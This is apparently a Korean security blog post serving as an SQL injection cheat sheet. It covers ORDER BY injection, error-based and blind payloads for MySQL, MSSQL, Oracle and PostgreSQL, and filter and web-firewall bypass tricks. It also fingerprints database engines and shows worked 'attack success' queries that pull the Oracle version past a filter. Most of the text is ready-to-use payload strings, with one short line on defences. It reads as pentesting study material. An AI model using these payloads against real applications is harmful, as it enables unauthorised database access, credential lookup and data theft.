쿼리 테스트 사이트
https://iwantadmin.tistory.com/7
order by절에서 인젝션
https://hacktagon.github.io/web/sql_injection/SQL_Injection_mysql_order-by_Persu
SQL Injection - Order by
powered by mukpiece
hacktagon.github.io
인젝션에서 파라미터 길이를 보는것도 중요하다. 파라미터가 100자에서 잘리는 경우도 있기때문에 필터링으로 오해하면 안된다.
Order By 절 인젝션
order by절에서 사용하는 서브쿼리에서 대중행 다중열이 반환되면 에러가 발생한다
이때 반응으로는 에러발생 or 데이터 검색안됨(에러는 처리해서)
order by (select 1 from information_schema.tables where 1=1) -- asc
이 경우 information_schema.tables 에 많은 행의 데이터가 있기 때문에 에러발생 또는 데이터 검색안됨
1=2로 거짓인 경우에만 데이터 검색됨
asc, desc 부분에서 인젝션이 발생한다면 앞에 콤마를 붙여줘야 한다.
order by id, name asc (인젝션 포인트)
order by id, name , (select 1 from ...)
함수 우회
substring -> left, right, mid를 이용한다.
콤마 우회
substring("test",2,1) -> substring("test" from 2 for 1)
문자열 우회
mysql 에서는 문자열우회 0x10 방식으로 16진수로 입력후 mid나 concat등 문자열함수를 사용하면 문자열로 변경된다.
사실 mysql에서는 비교하는 순간 타입캐스팅까지 발생함
0b1110000 = p
이렇게 바이너리로 비교해도됨
mysql에서 문자열 비교는 웬만하면 소문자로 해야한다. 이유는 찾아봐야되는데 비교하다가 잘못튈 수도 있음 이유 확인해보기
Group_concat(table_name) : 모든 테이블 명 출력
sleep(0.5) : 0.5초간 슬립. 쿼리실행 한번에 1회 실행하는데, 여러 쿼리에 같은 파라미터를 사용한다면 sleep 함수가 여러번 호출되니 주의한다.
user : DB 사용자이름
user_name : DB사용자를 순차적반환
current_name : 현재 로그인한 DB 사용자이름
session_user : 현재세션 DB 사용자 이름
sp_helpuser : 모든 사용자정보
sys.syslogins : 로그인 히스토리 정보
sp_helplogins : 로그인정보
sys.sql_logins : SQL 로그인 정보(id, hash(pass))
xp_logininfo : 사용자 로그인에 대한 정보
is_srvolemember : 사용자으 서버권한 확인
has_dbaccess : 사용자가 DB접근 권한 있는지 확인
대응방안 : prepared statement로 미리 컴파일, 확장프로시저(xp) 제거, 에러제거, 특수문자 및 쿼리예약어 필터링, 웹 서버 유저에 대한 DB권한 최소화
XPath : XML 문서 경로를 탐색하기 위해 사용되는 쿼리
XQuery
관련된거 정리
' or count(parent;;*[position()=1])>0 or 'a'='b
order by는 쿼리의 맨 마지막에 와야하기 때문에 order by절에서 union 인젝션은 사용할 수 없다.
select * from a order by 1 union select null,null,null from a order by 1 -> 에러
select * from a union select null,null,null from a order by 1 -> 정상 작동
에러베이스 + 블라인드 인젝션
MySQL
limit 이후 인젝션
SELECT * FROM user WHERE id='admin' limit 1 procedure analyse(extractvalue(1,concat(0x3a,version())),1);
MSSQL 에러베이스 + 블라인드 인젝션
where절임
' or 1=(case when 1=1 then convert(int,@@version) else 2 end) or '1'='1
-> 커스텀 에러페이지로 이동
' or 1=(case when 2=1 then convert(int,@@version) else 2 end) or '1'='1
-> 정상출력
' or 1=(case when substring(user,1,1)=char(110) then convert(int,@@version) else 2 end) or '1'='1
또한 mssql과 postgreSQL은 1과 10자리 이상의 문자를 비교하면 에러가발생한다.
select 1 where 1='12345678901'
-> The conversion of the varchar value '12345678190' overflowed an int column.
-> ERROR: value "12345678190" is out of range for type integer Position: 18
select 1 where 1='a' 도 타입이 달라서 에러가 발생한다.
-> Conversion failed when converting the varchar value 'a' to data type int.
-> ERROR: invalid input syntax for integer: "@" Position: 29
오라클 에러베이스+블라인드 인젝션
(select (case when 1=2 then (select 1 from dual where 1=UTL_INADDR.GET_HOST_NAME('a')) else 1 end) FROM dual)
when 조건절이 참인경우 에러발생
-에러를 뱉는 다른 함수
UTL_INAADR.GET_HOST_ADDRESS( );
CTXSYS.DRITHSX.SN(1, 1);
ordsys.ord_dicom.getmappingxpath((에러 인젝션을 통해 출력하고 싶은 쿼리문),user,user);
UTL_INADDR은 오라클 11g 부터 관리자가 직접 ACL설정을 풀어줘야만 해당함수가 작동한다
블라인드로 사용하려고 해도 문법에러인 경우에는 실행조차 안되고 에러를 뱉기 때문에
참 거짓 조건에 맞춰 작성했다 하더라도 모든 경우 에러가 발생한다.
postgresql
select 1 where '1'=cast((case when 1=2 then 'b' else '2' end) AS INTEGER)
필터링 방식
1. 삭제
select 1 from dual where 123=1--23
2. 치환
3. 발견된 즉시 에러페이지로 리다이렉트
서버측에서 삭제,치환 필터링과 실행의 코드진행 순서에 따라 허점이 생길 수 있다.
1) 파라미터에 select가 발견된 순간 무시하고 전체 검색결과가 반환되고
2) -- 와 같은 특수문자 삭제
3) 쿼리 실행
4) 실행된 쿼리에 select가 Injection된 경우 다시 1번처럼 전체결과 반환되게 함
(s--elect 5 from ALL_TAB_COLUMNS where rownum=1)
전체 결과나옴
(select 5 from ALL_TAB_COLUMNS where rownum=1)
전체 결과나옴
(select 5 from ALL_TAB_COLUMNSS where rownum=1)
전체 결과나옴
(se--lect 5 from ALL_TAB_COLUMNSS where rownum=1)
에러발생
어떤 특수문자가 치환되는지도 확인해야함
-- ' , ( ) + || && /**/ ; 등
select 1 from dual where 123='a' 등으로 확인할 수 있다
* 어떤 특수문자가 어떻게 필터링되어있는지 확신할 수 없기 때문에 ' or '1'='1 로만 확인후 끝내서는 안된다.
문자열에서는 '를 탈출하지 못하면 절대 불가능하지만 숫자같은곳에서도 or 1=1 테스트 해보고 order by 절에서도 테스트 해봐야 한다.
' 치환, --삭제, select 발견시 디폴트값검색의 필터링 적용되어있음
공격성공 쿼리
(sel--ect (case when 1=1 then (sel--ect 1 from dual where 1=UTL_INADDR.GET_HOST_NAME(1)) else 1 end) FROM dual)
(sel--ect (case when substr((sele--ct banner from v$version where rownum=1),1,1)<chr(79) then (sel--ect 1 from dual where 1=UTL_INADDR.GET_HOST_NAME(1)) else 1 end) FROM dual)
조건이 참인경우 에러발생, 거짓인경우 데이터 조회
ascii('O')
-> 79
chr(79)
-> 'O'
substr((sele--ct banner from v$version where rownum=1),1,1)
-> 'O'
데이터베이스 종류 알아보는 방법(mysql mssql oracle)
information_schema.tables : mysql, mssql
dual : oracle, mysql
select 1 where 1=1 : mssql
-> mysql, oracle은 where 앞에 from이 무조건 와야한다.
select 1 : mysql, mssql
-> oracle은 select 뒤에 from 필수이다.
SQLite는 picoCTF 롸업올려둔거 보면 있다
& | 연산자
oracle 에서 ||는 concat.
-> select 1 from dual where 11=1 || 1; 참
| & ^ 하면 비트연산 or and xor
mysql 에서 || 는 or && 는 and
-> select 1 from information_schema.tables where 1=1 && 1=2; 거짓
mssql 에서 &, | 는 bit연산
-> select 1 where 0 =1 & 2
not 연산자
mysql : ~, !, -
-> select 1 from information_schema.tables where --1=1; 참
-> select 1 from information_schema.tables where ---1=1; 거짓
포인트의 값
where절 문자열 mssql : S022'%2b'7
-> select 1 where 'S0227'='S022'+'7'; 참
-> select 1 where 'S0227' like '%S022'+'7%'; 참
where절 숫자 mssql : 120%2b3
-> select 1 where 123=120+3
where절 문자열 oracle : S022'||'7';
-> select 1 from dual where 'S0227'='S022' || '7'; 참
-> select 1 from dual where 'S0227' like '%S022' || '7%'; 참
where절 숫자 oracle : 12||3
-> select 1 from dual where 123=12 || 3; 참
where절 문자열 mysql : 1'xor'1 (1'^'1)
-> select 1 from information_schema.tables where 'S0227'='1'xor'1' limit 1; 참
-> select 1 from information_schema.tables where 'S0227' like '%1'xor'1%' limit 1; 참
* mysql 은 숫자를 따옴표로 묶어도 숫자로 인식한다. '1'xor'1' = 숫자 0반환
-> 하지만 'S0227'='0' 에서 0은 문자로 인식해서 거짓을 반환함
* mysql 은 문자열과 0을 비교하면 무조건 참을 반환한다.
where절 숫자 mysql : 120%2b3
-> select 1 where 123=120+3
테이블
dual : mysql, oracle
information_schema.tables : mysql, mssql, postgreSQL
sysobjects : mssql (select top 1 obj.name from sysobjects obj)
sys : mssql (select value from sys.configurations where name='xp_cmdshell') 값이 1이면 xp_cmdshell 활성화
tabs, cols : oracle
mssql : sys.tables, sys.databases, sys.columns, sys.type
www.sisense.com/blog/sql-cheat-sheet-retrieving-column-description-sql-server/
기타 팁
1. DBMS는 문자열을 싱글쿼터안에 넣어야 하는데 문자열 안에서 싱글쿼터를 인식하도록 할 때 '를 사용한다.
select '1''' -> 1'
앞의 파란색 싱글쿼터가 뒤의 빨간 싱글쿼터를 문자열의 일부로 인식하게 한다.
문자열 where절에 값을 입력할 때 싱글쿼터 개수에 따라 응답이 다르다면 인젝션 가능성이 존재한다.
' 홀수 -> 에러 혹은 조회x / ' 짝수 -> 조회x 혹은 '가 포함된 게시글 조회 등
select "1" 은 문자열이 싱글쿼터로 감싸진게 아니기 때문에 에러 발생
싱글쿼터가 2 싱글쿼터로 변환되는 경우
쿼리에서 사용되는 어떤 함수의 리턴값이 취약한 문자열이 반환되길 바라거나 가끔 유니코드를 아스키문자로 변환시켜주는 함수를 사용할 수 있기 때문에 ʻ 또는 ʼ (0x02BB 또는 0x02BC) 가 '(0x27)로 변경될 수도 있다.
언어에따른 특징
asp : %00~%FF 범위를 벗어나면 %를 무시한다.
UN%ION SE%LECT -> UNION SELECT
웹방화벽 우회 가능.
'웹 > 보안' 카테고리의 다른 글
파이썬 SQL 인젝션 (0) | 2019.09.30 |
---|---|
운영체제 명령실행 (0) | 2019.09.03 |
주요 Editor 샘플페이지 정리 (0) | 2019.08.16 |
XSS 정리 (0) | 2019.08.09 |
Response 헤더 정보노출 취약점 (0) | 2019.08.09 |